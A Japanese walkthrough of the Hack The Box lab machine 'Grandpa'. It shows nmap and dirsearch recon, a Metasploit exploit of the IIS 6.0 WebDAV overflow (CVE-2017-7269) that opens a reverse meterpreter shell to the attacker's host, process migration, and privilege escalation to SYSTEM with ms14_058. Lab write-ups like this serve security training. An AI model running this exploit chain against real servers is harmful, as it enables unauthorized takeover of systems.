まえがき
この記事はGrandpaのWriteupになっています📝
髪の毛がちょっとさみしいおじいさんを攻略していきます。
Machine Info
Name: Grandpa
IP Address: 10.10.10.14
OS: Windows 🪟
Recon
Port Scan - Nmap
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nmap 10.10.10.14 -Pn -v -A --script=vuln
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-03 20:05 JST
NSE: Loaded 150 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 20:05
NSE Timing: About 44.44% done; ETC: 20:06 (0:00:40 remaining)
Completed NSE at 20:05, 34.32s elapsed
Initiating NSE at 20:05
Completed NSE at 20:05, 0.00s elapsed
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Initiating Parallel DNS resolution of 1 host. at 20:05
Completed Parallel DNS resolution of 1 host. at 20:05, 0.12s elapsed
Initiating SYN Stealth Scan at 20:05
Scanning 10.10.10.14 [1000 ports]
Discovered open port 80/tcp on 10.10.10.14
Completed SYN Stealth Scan at 20:06, 19.78s elapsed (1000 total ports)
Initiating Service scan at 20:06
Scanning 1 service on 10.10.10.14
Completed Service scan at 20:06, 6.76s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 10.10.10.14
Retrying OS detection (try #2) against 10.10.10.14
Initiating Traceroute at 20:06
Completed Traceroute at 20:06, 0.28s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 20:06
Completed Parallel DNS resolution of 2 hosts. at 20:06, 0.04s elapsed
NSE: Script scanning 10.10.10.14.
Initiating NSE at 20:06
Completed NSE at 20:19, 793.54s elapsed
Initiating NSE at 20:19
Completed NSE at 20:19, 4.99s elapsed
Nmap scan report for 10.10.10.14
Host is up (0.26s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
|_http-dombased-xss: Couldn't find any DOM based XSS.
| vulners:
| cpe:/a:microsoft:internet_information_services:6.0:
| PACKETSTORM:93313 6.0 https://vulners.com/packetstorm/PACKETSTORM:93313 *EXPLOIT*
| CVE-2009-4445 6.0 https://vulners.com/cve/CVE-2009-4445
|_ CVE-2009-4444 6.0 https://vulners.com/cve/CVE-2009-4444
| http-frontpage-login:
| VULNERABLE:
| Frontpage extension anonymous login
| State: VULNERABLE
| Default installations of older versions of frontpage extensions allow anonymous logins which can lead to server compromise.
|
| References:
|_ http://insecure.org/sploits/Microsoft.frontpage.insecurities.html
|_http-server-header: Microsoft-IIS/6.0
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-iis-webdav-vuln: WebDAV is ENABLED. No protected folder found; check not run. If you know a protected folder, add --script-args=webdavfolder=<path>
| http-enum:
| /postinfo.html: Frontpage file or folder
| /_vti_bin/_vti_aut/author.dll: Frontpage file or folder
| /_vti_bin/_vti_aut/author.exe: Frontpage file or folder
| /_vti_bin/_vti_adm/admin.dll: Frontpage file or folder
| /_vti_bin/_vti_adm/admin.exe: Frontpage file or folder
| /_vti_bin/fpcount.exe?Page=default.asp|Image=3: Frontpage file or folder
| /_vti_bin/shtml.dll: Frontpage file or folder
|_ /_vti_bin/shtml.exe: Frontpage file or folder
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2000|XP|2003 (92%)
OS CPE: cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_xp::sp1:professional cpe:/o:microsoft:windows_server_2003::sp1
Aggressive OS guesses: Microsoft Windows 2000 SP4 or Windows XP Professional SP1 (92%), Microsoft Windows Server 2003 SP1 (91%), Microsoft Windows Server 2003 SP1 or SP2 (91%), Microsoft Windows Server 2003 SP2 (91%), Microsoft Windows 2003 SP2 (90%), Microsoft Windows 2000 SP3/SP4 or Windows XP SP1/SP2 (88%), Microsoft Windows 2000 SP4 (88%), Microsoft Windows XP SP2 or SP3 (88%), Microsoft Windows XP SP3 (88%), Microsoft Windows 2000 SP1 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 261.36 ms 10.10.14.1
2 261.52 ms 10.10.10.14
NSE: Script Post-scanning.
Initiating NSE at 20:19
Completed NSE at 20:19, 0.00s elapsed
Initiating NSE at 20:19
Completed NSE at 20:19, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 868.75 seconds
Raw packets sent: 2082 (95.124KB) | Rcvd: 46 (2.792KB)
80番のポートのみ開いていることがわかる。
Site - http://10.10.10.14
実際にアクセスしてみるとこんなページが見つかる。
IISのデフォルトのスタート画面がでてきた。
Enumeration
他に見落としがないか確認していく。
dirsearch
┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# dirsearch -u http://10.10.10.14
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460
Output File: /home/kali/Desktop/work/reports/http_10.10.10.14/_24-01-04_18-26-42.txt
Target: http://10.10.10.14/
[18:26:42] Starting:
[18:26:52] 403 - 32B - /%2e%2e//google.com
[18:26:53] 403 - 32B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[18:26:53] 404 - 1KB - /.asmx
[18:26:53] 404 - 1KB - /.axd
[18:26:53] 404 - 1KB - /.ashx
[18:27:13] 403 - 32B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[18:27:15] 403 - 1KB - /_private
[18:27:15] 403 - 1KB - /_private/
[18:27:15] 403 - 218B - /_vti_bin/
[18:27:15] 301 - 155B - /_vti_bin -> http://10.10.10.14/%5Fvti%5Fbin/
[18:27:15] 200 - 195B - /_vti_bin/_vti_adm/admin.dll
[18:27:15] 200 - 195B - /_vti_bin/_vti_aut/author.dll
[18:27:15] 403 - 1KB - /_vti_cnf
[18:27:15] 404 - 103B - /_vti_cnf/
[18:27:15] 500 - 112B - /_vti_pvt/administrator.pwd
[18:27:15] 500 - 112B - /_vti_pvt/
[18:27:15] 403 - 1KB - /_vti_pvt
[18:27:15] 500 - 112B - /_vti_pvt/administrators.pwd
[18:27:15] 200 - 2KB - /_vti_inf.html
[18:27:15] 500 - 88B - /_vti_pvt/users.pwd
[18:27:15] 500 - 88B - /_vti_pvt/service.pwd
[18:27:15] 403 - 1KB - /_vti_log
[18:27:15] 403 - 1KB - /_vti_log/
[18:27:15] 500 - 112B - /_vti_pvt/authors.pwd
[18:27:15] 200 - 96B - /_vti_bin/shtml.dll
[18:27:15] 500 - 88B - /_vti_pvt/service.pwt
[18:27:15] 500 - 88B - /_vti_pvt/shtml.exe
[18:27:15] 500 - 88B - /_vti_pvt/users.pwt
[18:27:15] 200 - 96B - /_vti_bin/shtml.exe?_vti_rpc
[18:27:15] 403 - 1KB - /_vti_txt/
[18:27:15] 403 - 1KB - /_vti_txt
[18:27:46] 403 - 218B - /aspnet_client
[18:27:46] 403 - 218B - /aspnet_client/
[18:27:55] 403 - 32B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[18:28:11] 404 - 1KB - /elmah.axd
[18:28:23] 301 - 149B - /images -> http://10.10.10.14/images/
[18:28:23] 403 - 218B - /images/
[18:28:56] 200 - 2KB - /postinfo.html
[18:29:05] 404 - 1KB - /service.asmx
[18:29:17] 404 - 1KB - /Telerik.Web.UI.WebResource.axd?type=rau
[18:29:21] 403 - 2KB - /Trace.axd
[18:29:22] 404 - 1KB - /umbraco/webservices/codeEditorSave.asmx
[18:29:31] 404 - 1KB - /WebResource.axd?d=LER8t9aS
Task Completed
うぉーいろいろ列挙してくれた。とりあえず 200 - Succsessのやつを調べていく。
/_vti_bin/_vti_adm/admin.dll
なんこれ。よくわからんけど、何かのログかな？？
ちなみに /_vti_bin/_vti_aut/author.dll にもアクセスしてみるも同じであった。
/_vti_inf.html
あんまり関係なさそう。
/_vti_inf.html
/postinfo.html
あまり気になるようなページは見つからなかったため、別のアプローチをしていこう。
先ほどのNmapとhttp://10.10.10.14を見返してみると、Microsoft-IIS/6.0が使われていることがわかる。
Identification of Vulnerbility
Microsoft-IIS 6.0 vulnで調べてみよう。
CVE-2017-7269
WebDAV Mini-RedirectorというWindows環境でWebDAVプロトコルを使用してリモートでアクセスするためのコンポーネントのバッファオーバーフローの脆弱性だ。
悪意のあるHTTPリクエストを使うことで、攻撃者はWebDAV Mini-Redirectorの脆弱性を使用することができる。この攻撃ベクトルを使うことによって、攻撃者はペイロードを作って、WebDAVサービスに送ることができる。
このペイロードによって、ターゲットマシンのWebDAVサービスはサーバが期待するサイズを超えたデータを受け取り、未割り当てか不適切なメモリ領域に書き込みが発生する。
このバッファオーバーフローの結果、攻撃者はスタックメモリのオーバーランを引き起こすことができる。関数のリターンアドレスや重要な制御データを上書きすることで、悪意のあるコードの実行経路確立につながるのだ。
Exploit the Vulnerbility
metasploit
└─$ msfconsole
Metasploit tip: View all productivity tips with the tips command
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
=[ metasploit v6.3.43-dev ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post ]
+ -- --=[ 1388 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search CVE-2017-7269
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/iis/iis_webdav_scstoragepathfromurl 2017-03-26 manual Yes Microsoft IIS WebDav ScStoragePathFromUrl Overflow
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/iis/iis_webdav_scstoragepathfromurl
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
CVEで検索をかけると、よさげなモジュールを発見できる。使っていこう。
show optionsで設定が必要な箇所を確認しながら、設定をしていこう。
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > show options
Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl):
Name Current Setting Required Description
---- --------------- -------- -----------
MAXPATHLENGTH 60 yes End of physical path brute for
ce
MINPATHLENGTH 3 yes Start of physical path brute f
orce
Proxies no A proxy chain of format type:h
ost:port[,type:host:port][...]
RHOSTS yes The target host(s), see https:
//docs.metasploit.com/docs/usi
ng-metasploit/basics/using-met
asploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing
connections
TARGETURI / yes Path of IIS 6 web application
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST 192.168.236.128 yes The listen address (an interface ma
y be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Microsoft Windows Server 2003 R2 SP2 x86
View the full module info with the info, or info -d command.
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set rhosts 10.10.10.14
rhosts => 10.10.10.14
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set lhost 10.10.14.4
lhost => 10.10.14.4
実行。
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run
[*] Started reverse TCP handler on 10.10.14.4:4444
[*] Trying path length 3 to 60 ...
[*] Sending stage (175686 bytes) to 10.10.10.14
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.14:1030) at 2024-01-04 20:28:05 +0900
meterpreter >
成功したようですね。
今回はSystemをとってからUserとAdminが同時にアクセス可能になるので、
さっそく権限昇格フェーズに進んでいこう。
Privilege Escalation
backgroundにしてから、Multi Recon Local Exploit Suggesterを使って脆弱性を探索していこう。
Background session 1? [y/N] y
[-] Unknown command: y
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > search suggester
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester
Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use 0
msf6 post(multi/recon/local_exploit_suggester) > show options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the
available exploits
View the full module info with the info, or info -d command.
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
設定完了。
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.10.14 - Collecting local exploits for x86/windows...
[*] 10.10.10.14 - 188 exploit checks are being tried...
[+] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Running check method for exploit 41 / 41
[*] 10.10.10.14 - Valid modules for session 1:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/ms10_015_kitrap0d Yes The service is running, but could not be validated.
2 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable.
3 exploit/windows/local/ms14_070_tcpip_ioctl Yes The target appears to be vulnerable.
4 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable.
5 exploit/windows/local/ms16_016_webdav Yes The service is running, but could not be validated.
6 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable.
7 exploit/windows/local/adobe_sandbox_adobecollabsync No Cannot reliably check exploitability.
8 exploit/windows/local/agnitum_outpost_acs No The target is not exploitable.
9 exploit/windows/local/always_install_elevated No The target is not exploitable.
10 exploit/windows/local/anyconnect_lpe No The target is not exploitable. vpndownloader.exe not found on file system
11 exploit/windows/local/bits_ntlm_token_impersonation No The check raised an exception.
12 exploit/windows/local/bthpan No The target is not exploitable.
13 exploit/windows/local/bypassuac_eventvwr No The target is not exploitable.
14 exploit/windows/local/bypassuac_fodhelper No The target is not exploitable.
15 exploit/windows/local/bypassuac_sluihijack No The target is not exploitable.
16 exploit/windows/local/canon_driver_privesc No The target is not exploitable. No Canon TR150 driver directory found
17 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move No The target is not exploitable. Target is not running a vulnerable version of Windows!
18 exploit/windows/local/cve_2020_1048_printerdemon No The target is not exploitable.
19 exploit/windows/local/cve_2020_1337_printerdemon No The target is not exploitable.
20 exploit/windows/local/gog_galaxyclientservice_privesc No The target is not exploitable. Galaxy Client Service not found
21 exploit/windows/local/ikeext_service No The check raised an exception.
22 exploit/windows/local/ipass_launch_app No The check raised an exception.
23 exploit/windows/local/lenovo_systemupdate No The check raised an exception.
24 exploit/windows/local/lexmark_driver_privesc No The check raised an exception.
25 exploit/windows/local/mqac_write No The target is not exploitable.
26 exploit/windows/local/ms10_092_schelevator No The target is not exploitable. Windows .NET Server (5.2 Build 3790, Service Pack 2). is not vulnerable
27 exploit/windows/local/ms13_053_schlamperei No The target is not exploitable.
28 exploit/windows/local/ms13_081_track_popup_menu No Cannot reliably check exploitability.
29 exploit/windows/local/ms15_004_tswbproxy No The target is not exploitable.
30 exploit/windows/local/ms16_032_secondary_logon_handle_privesc No The check raised an exception.
31 exploit/windows/local/ms16_075_reflection No The check raised an exception.
32 exploit/windows/local/ms16_075_reflection_juicy No The check raised an exception.
33 exploit/windows/local/ms_ndproxy No The target is not exploitable.
34 exploit/windows/local/novell_client_nicm No The target is not exploitable.
35 exploit/windows/local/ntapphelpcachecontrol No The check raised an exception.
36 exploit/windows/local/ntusermndragover No The target is not exploitable.
37 exploit/windows/local/panda_psevents No The target is not exploitable.
38 exploit/windows/local/ricoh_driver_privesc No The target is not exploitable. No Ricoh driver directory found
39 exploit/windows/local/tokenmagic No The target is not exploitable.
40 exploit/windows/local/virtual_box_guest_additions No The target is not exploitable.
41 exploit/windows/local/webexec No The check raised an exception.
上から6つまでが有効そうだ。試していこう。
だがしかし6つすべて試しても、このようにうまくいかなかったのではないだろうか？
[*] Started reverse TCP handler on 10.10.14.4:4444
[-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_config_getsid: Operation failed: Access is denied.
[*] Exploit completed, but no session was created.
Process Migration
先ほどうまくいかなかった原因で考えられるのは、アーキテクチャの互換性の問題だ。
解決方法としてはプロセスを移行することだ。
原因を詳しく説明すると、例えば、32ビットのMeterpreterプロセスが64ビットのシステム上で64ビットのペイロードを実行しようとすると、アーキテクチャの違いによって失敗する可能性がある。
プロセスを移行することでより安定したプロセスに変更することや、より高い権限を持っていることもある。
そのため、別プロセスを移行してもう一度試すことにしよう。
[*] Starting interaction with 1...
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Proc
ess]
4 0 System
272 4 smss.exe
320 272 csrss.exe
344 272 winlogon.exe
392 344 services.exe
404 344 lsass.exe
584 392 svchost.exe
656 1072 cidaemon.exe
668 392 svchost.exe
736 392 svchost.exe
768 392 svchost.exe
788 392 svchost.exe
924 392 spoolsv.exe
952 392 msdtc.exe
1072 392 cisvc.exe
1112 392 svchost.exe
1168 392 inetinfo.exe
1204 392 svchost.exe
1312 392 VGAuthServic
e.exe
1384 392 vmtoolsd.exe
1488 392 svchost.exe
1592 392 svchost.exe
1664 1072 cidaemon.exe
1772 392 dllhost.exe
1936 392 alg.exe
1964 584 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK C:\WINDOWS\system32\w
SERVICE bem\wmiprvse.exe
2092 1072 cidaemon.exe
2256 584 wmiprvse.exe
2604 1488 w3wp.exe x86 0 NT AUTHORITY\NETWORK c:\windows\system32\i
SERVICE netsrv\w3wp.exe
2740 584 davcdata.exe x86 0 NT AUTHORITY\NETWORK C:\WINDOWS\system32\i
SERVICE netsrv\davcdata.exe
3060 344 logon.scr
3376 2604 rundll32.exe x86 0 C:\WINDOWS\system32\r
undll32.exe
プロセス移行はmigrateコマンドでできる。
meterpreter > migrate 2604
[*] Migrating from 3376 to 2604...
[*] Migration completed successfully.
もう一度これで実行してみよう。
msf6 exploit(windows/local/ms14_058_track_popup_menu) > run
[*] Started reverse TCP handler on 10.10.14.12:4444
[*] Reflectively injecting the exploit DLL and triggering the exploit...
[*] Launching netsh to host the DLL...
[+] Process 1260 launched.
[*] Reflectively injecting the DLL into 1260...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (175686 bytes) to 10.10.10.14
[*] Meterpreter session 2 opened (10.10.14.12:4444 -> 10.10.10.14:1031) at 2024-01-08 17:18:09 +0900
meterpreter >
うおおぉぉお！いけた。権限昇格もnt authority\systemとの表示から成功。
meterpreter > shell
Process 2344 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
c:\windows\system32\inetsrv>whoami
whoami
nt authority\system
Documents and SettingsのところにAdministratorとHarryがみつかる。
c:\windows\system32\inetsrv>cd c:\
cd c:\
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is FDCB-B9EF
Directory of C:\
04/12/2017 04:27 PM <DIR> ADFS
04/12/2017 04:04 PM 0 AUTOEXEC.BAT
04/12/2017 04:04 PM 0 CONFIG.SYS
04/12/2017 04:32 PM <DIR> Documents and Settings
04/12/2017 04:17 PM <DIR> FPSE_search
04/12/2017 04:17 PM <DIR> Inetpub
12/24/2017 07:18 PM <DIR> Program Files
09/16/2021 11:52 AM <DIR> WINDOWS
04/12/2017 04:05 PM <DIR> wmpub
2 File(s) 0 bytes
7 Dir(s) 1,317,928,960 bytes free
C:\>cd Documents and Settings
cd Documents and Settings
C:\Documents and Settings>dir
dir
Volume in drive C has no label.
Volume Serial Number is FDCB-B9EF
Directory of C:\Documents and Settings
04/12/2017 04:32 PM <DIR> .
04/12/2017 04:32 PM <DIR> ..
04/12/2017 04:12 PM <DIR> Administrator
04/12/2017 04:03 PM <DIR> All Users
04/12/2017 04:32 PM <DIR> Harry
0 File(s) 0 bytes
5 Dir(s) 1,317,994,496 bytes free
Administrator
C:\Documents and Settings>cd Administrator
cd Administrator
C:\Documents and Settings\Administrator>dir
dir
Volume in drive C has no label.
Volume Serial Number is FDCB-B9EF
Directory of C:\Documents and Settings\Administrator
04/12/2017 04:12 PM <DIR> .
04/12/2017 04:12 PM <DIR> ..
04/12/2017 04:28 PM <DIR> Desktop
04/12/2017 04:12 PM <DIR> Favorites
04/12/2017 04:12 PM <DIR> My Documents
04/12/2017 03:42 PM <DIR> Start Menu
04/12/2017 03:44 PM 0 Sti_Trace.log
1 File(s) 0 bytes
6 Dir(s) 1,317,842,944 bytes free
C:\Documents and Settings\Administrator>cd Desktop
cd Desktop
C:\Documents and Settings\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is FDCB-B9EF
Directory of C:\Documents and Settings\Administrator\Desktop
04/12/2017 04:28 PM <DIR> .
04/12/2017 04:28 PM <DIR> ..
04/12/2017 04:29 PM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 1,317,838,848 bytes free
C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のRootFlag
Harry
C:\Documents and Settings>cd Harry
cd Harry
C:\Documents and Settings\Harry>dir
dir
Volume in drive C has no label.
Volume Serial Number is FDCB-B9EF
Directory of C:\Documents and Settings\Harry
04/12/2017 04:32 PM <DIR> .
04/12/2017 04:32 PM <DIR> ..
04/12/2017 04:32 PM <DIR> Desktop
04/12/2017 04:32 PM <DIR> Favorites
04/12/2017 04:32 PM <DIR> My Documents
04/12/2017 03:42 PM <DIR> Start Menu
04/12/2017 03:44 PM 0 Sti_Trace.log
1 File(s) 0 bytes
6 Dir(s) 1,317,834,752 bytes free
C:\Documents and Settings\Harry>cd Desktop
cd Desktop
C:\Documents and Settings\Harry\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is FDCB-B9EF
Directory of C:\Documents and Settings\Harry\Desktop
04/12/2017 04:32 PM <DIR> .
04/12/2017 04:32 PM <DIR> ..
04/12/2017 04:32 PM 32 user.txt
1 File(s) 32 bytes
2 Dir(s) 1,317,834,752 bytes free
C:\Documents and Settings\Harry\Desktop>type user.txt
type user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のUserFlag
どちらもゲット。
あとがき
今回もMetasploitの使い方の復習になったのではないでしょうか。また、プロセスのマージ方法についても学べる良いマシンです。ちなみに、Grannyというboxも同じ手法で攻略することが可能です。
復習がてら、おばあちゃんも攻略しちゃいましょう！
